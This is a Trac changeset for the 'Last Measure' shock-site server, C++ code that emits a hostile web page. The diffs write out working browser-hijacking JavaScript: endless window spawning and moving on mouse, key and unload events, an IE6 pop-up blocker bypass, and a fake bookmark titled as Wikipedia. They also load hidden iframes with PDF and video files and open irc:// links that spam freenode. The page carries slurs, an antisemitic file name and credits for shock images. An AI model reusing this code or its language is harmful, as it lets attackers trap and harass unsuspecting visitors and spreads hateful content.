Changeset 566
- Timestamp:
- 01/11/12 17:53:33 (17 months ago)
- Location:
- trollforge/lastmeasure/server
- Files:
-
- 1 added
- 2 edited
-
README (added)
-
lmresource.h (modified) (14 diffs)
-
lmutil.h (modified) (1 diff)
Legend:
- Unmodified
- Added
- Removed
-
trollforge/lastmeasure/server/lmresource.h
r565 r566 1 1 /* TODO: 2 2 * Port `store_clipboard()' from PHP. 3 * StatsMeasure. 4 * `?u=blah'. 5 * Test `?popup=1' shit. 6 * `/server-status/' 3 7 */ 4 8 #include <string> … … 95 99 char const *host, char const *agent) 96 100 { 97 /* Special case for server status */101 /* Special case for server status (TODO) */ 98 102 if (!strcmp(resource, "/server-status") 99 103 || !strcmp(resource, "/server-status/")) … … 112 116 113 117 /* Is this a pop-up? */ 118 /* TODO: Confirm this works. -- Leon */ 114 119 bool is_popup = strstr(resource, "?popup=1"); 115 120 … … 127 132 "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"" 128 133 "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n" 129 "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\"> "134 "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\r\n" 130 135 131 136 " <head>\r\n" … … 145 150 146 151 " <body style=\"background-image: url(http://" << host 152 #ifndef SOFT 147 153 << RandomAsset("/images/") << "); background-color: #FFFFFF;\"" 148 " onload=\"bookmark();noframes();load_goatse();" 149 " document.goatse.reset();movew0w();setTimeout('ruin()', 20);"; 154 #else 155 << RandomAsset("/soft/") << "); background-color: #FFFFFF;\"" 156 #endif 157 " onload=\"bookmark(); noframes(); load_goatse();" 158 " document.goatse.reset(); movew0w(); setTimeout('ruin()', 20);"; 150 159 if (is_ie6) 151 160 data << "setTimeout('main()', 100);"; 152 161 data << 153 " onmousemove=\"document.goatse.reset(); movew0w();procreate();\""154 " onkeydown=\"molish(); procreate();\""155 " onunload=\"document.goatse.reset(); movew0w();procreate();\""156 " onmouseover=\"document.goatse.reset(); movew0w();procreate();\">\r\n";162 " onmousemove=\"document.goatse.reset(); movew0w(); procreate();\"" 163 " onkeydown=\"molish(); procreate();\"" 164 " onunload=\"document.goatse.reset(); movew0w(); procreate();\"" 165 " onmouseover=\"document.goatse.reset(); movew0w(); procreate();\">\r\n"; 157 166 158 167 data << MoveAround(800, 600, host); 159 168 data << ActivateApplets(); 160 if (is_ie6) 169 if (is_ie6) /* XXX: Do these things work in the newer versions of IE? -- Leon */ 161 170 { 162 171 data << PopupBypasser(host); … … 170 179 " <td valign=\"middle\">\r\n" 171 180 " <div style=\"text-align: center;\">\r\n" 172 " <a href=\"http://www.gnaa.eu/\"><img src=\" " << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n"181 " <a href=\"http://www.gnaa.eu/\"><img src=\"http://" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n" 173 182 " <br />\r\n" 174 183 " <br />\r\n"; … … 187 196 "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" " 188 197 "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\">\r\n" 189 " <param name=\"movie\" value=\" " << host << "/flash/" << flash << "\" />\r\n"198 " <param name=\"movie\" value=\"http://" << host << "/flash/" << flash << "\" />\r\n" 190 199 " <param name=\"quality\" value=\"high\" />\r\n" 191 200 "</object>\r\n"; … … 207 216 "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" " 208 217 "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\" id=\"hey\">\r\n" 209 " <param name=\"movie\" value=\" " << host << "/flash/hey.swf\" />\r\n"218 " <param name=\"movie\" value=\"http://" << host << "/flash/hey.swf\" />\r\n" 210 219 " <param name=\"quality\" value=\"high\" />\r\n" 211 220 "</object>\r\n" … … 216 225 217 226 for(size_t i = 0; i < audiocount; i++) { 218 data << " audio[" << (i+imagecount) << "] = ' " << host << "/audio/" << staticnames[i+imagecount] << "';\r\n";227 data << " audio[" << (i+imagecount) << "] = 'http://" << host << "/audio/" << staticnames[i+imagecount] << "';\r\n"; 219 228 } 220 229 … … 231 240 "</div>\r\n" 232 241 "<div>\r\n" 233 "<iframe style=\"width: 1px; height: 1px;\" src=\" " << host << "/lm.pdf\"></iframe>\r\n"234 "<iframe style=\"width: 1px; height: 1px;\" src=\" " << host << "/lm2.pdf\"></iframe>\r\n"235 "<iframe style=\"width: 1px; height: 1px;\" src=\" " << host << "/jews.wmv\"></iframe>\r\n"242 "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/lm.pdf\"></iframe>\r\n" 243 "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/lm2.pdf\"></iframe>\r\n" 244 "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/jews.wmv\"></iframe>\r\n" 236 245 "<br />\r\n" << Keywords(128) << "</div>\r\n"; 237 246 } … … 242 251 << resource << ". You could also ask for <a href=\"http://" 243 252 << host << "/" << rand() 244 << "\">something else</a>. </p>" 253 << "\">something else</a>.</p>" 254 #ifndef SOFT 245 255 << "<img src=\"" << RandomAsset("/images/") << "\" />" 256 #else 257 << "<img src=\"" << RandomAsset("/soft/") << "\" />" 258 #endif 246 259 << "</body></html>"; 247 260 return Response(data.str(), "text/html"); … … 287 300 // GECKO REVISION 288 301 "var is_rev = 0;\r\n" 302 289 303 "if (is_gecko) {\r\n" 290 304 " temp = agt.split('rv:');\r\n" … … 294 308 "function bookmark() {\r\n" 295 309 //" if (is_ie4up) {" 296 " window.external.AddFavorite(self.location.href, ' Google');\r\n"310 " window.external.AddFavorite(self.location.href, 'Wikipedia, the free encyclopedia');\r\n" 297 311 //" }" 298 312 "}\r\n" 299 313 300 314 "function molish() {\r\n" 301 " var credits = \"LAST MEASURE UNIFIED X-2, by LiteralKa, Penisbird, Rolloffle, Rucas, and sam.\\n\";\r\n" 302 " credits += \"Starring:\\n\";\r\n" 303 " credits += \"Tubgirl\\n\";\r\n" 304 " credits += \"Lemonparty\\n\";\r\n" 305 " credits += \"Kirk Johnson\\n\";\r\n" 306 " credits += \"Penisbird\\n\";\r\n" 307 " credits += \"Pillowfight\\n\";\r\n" 308 " credits += \"Christmas\\n\";\r\n" 309 " credits += \"Rusty's Wife\\n\";\r\n" 310 " credits += \"The Harlequin Fetus\\n\";\r\n" 311 " credits += \"Balloon Boy\\n\";\r\n" 312 " credits += \"What the fuck? That guy's ass is showing in his baby's picture!\\n\";\r\n" 313 " credits += \"And much, much more!\\n\";\r\n" 314 " credits += \"\\n\\n\";\r\n" 315 " credits += \"Total, complete, all-versions, pop-up blocker bashing-to-pieces by goat-see\\n\";\r\n" 316 " credits += \"hey.swf by rkz\\n\";\r\n" 317 " credits += \"Updated by Dessimat0r, JacksonBrown, Jmax, JacksonBrown, timecop, weev, and others.\\n\";\r\n" 318 " switch(event.keyCode) {\r\n" 319 " case 46:\r\n" // DEL 320 " case 63272:\r\n" // DEL on the fucked-up Safari browser 321 " alert(credits);\r\n" 322 " break;\r\n" 323 " case 17:\r\n" // CTRL [Or the Apple "CMD", only detected by Opera] NOTE: Opera Mac gives keyCode '0' 324 " case 18:\r\n" // ALT 315 " credits = \"LAST MEASURE UNIFIED X-2, by LiteralKa, Penisbird, Rolloffle, Rucas, and sam.\\n\";\r\n" 316 " credits += \"Starring:\\n\";\r\n" 317 " credits += \"Kevin Klerck in: spin.gif, Loopback, The Shitfaced Lady,\\n\";\r\n" 318 " credits += \"Tubgirl, Lemonparty, Kirk Johnson, Penisbird, Pillowfight,\\n\";\r\n" 319 " credits += \"Christmas, Rusty's Wife, The Harlequin Fetus, Balloon Boy,\\n\";\r\n" 320 " credits += \"What the fuck? That guy's ass is showing in his baby's picture!\\n\";\r\n" 321 " credits += \"And much, much more!\\n\";\r\n" 322 " credits += \"\\n\\n\";\r\n" 323 " credits += \"Total, complete, all-versions, pop-up blocker bashing-to-pieces by goat-see\\n\";\r\n" 324 " credits += \"hey.swf by rkz\\n\";\r\n" 325 " credits += \"lmserver by sam and LiteralKa\\n\";\r\n" 326 " credits += \"Updated by Dessimat0r, JacksonBrown, Jmax, timecop, weev, and others.\\n\";\r\n" 327 " credits += \"Proudly brought to you by the Gay Nigger Association of America.\\n\";\r\n" 328 329 " switch(event.keyCode) {\r\n" 330 " case 46:\r\n" // DEL 331 " case 63272:\r\n" // DEL on the fucked-up Safari browser 332 " alert(credits);\r\n" 333 " break;\r\n" 334 " case 17:\r\n" // CTRL [Or the Apple "CMD", only detected by Opera] NOTE: Opera Mac gives keyCode '0' 335 " case 18:\r\n" // ALT 325 336 //" case 81:" // W (As in "CTRL+W") 326 337 //" case 87:" // Q (As in "CTRL+Q") 327 " case 115:\r\n" // F4328 " alert(\"Our lawyer has informed us that we need a warning. So, if "329 "you are under the age of 18 or find this offensive, please"330 "leave immediately\");\r\n"331 " break;\r\n"332 " }\r\n"333 "}\r\n" 334 338 " case 115:\r\n" // F4 339 " alert(\"Our lawyer has informed us that we need a warning. So, if " 340 "you are under the age of 18 or find this offensive, " 341 "please leave immediately\");\r\n" 342 " break;\r\n" 343 " }\r\n" 344 "}\r\n" 345 /* XXX Does click() even work? */ 335 346 "function click() {\r\n" 336 347 " if(event.which == 3 || event.button == 2) {\r\n" … … 373 384 374 385 "var protos = [\r\n" 375 " \"http://" << host << "/lm.pdf\",\r\n"376 " \"http://" << host << "/lm2.pdf\",\r\n"377 " \"http://" << host << "/jews.wmv\",\r\n"386 //" \"http://" << host << "/lm.pdf\",\r\n" 387 //" \"http://" << host << "/lm2.pdf\",\r\n" 388 //" \"http://" << host << "/jews.wmv\",\r\n" 378 389 " \"irc://irc.gnaa.eu/gnaa\",\r\n" 379 390 " \"irc://irc.freenode.net/freenode?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n" -
trollforge/lastmeasure/server/lmutil.h
r547 r566 72 72 { 73 73 m_start = m_count = 0; 74 m_poppers = m_pushers = 0; 74 m_poppers = m_pushers = 0; // i like poppers -- Leon 75 75 pthread_mutex_init(&m_mutex, NULL); 76 76 pthread_cond_init(&m_empty_cond, NULL);
Note: See TracChangeset
for help on using the changeset viewer.
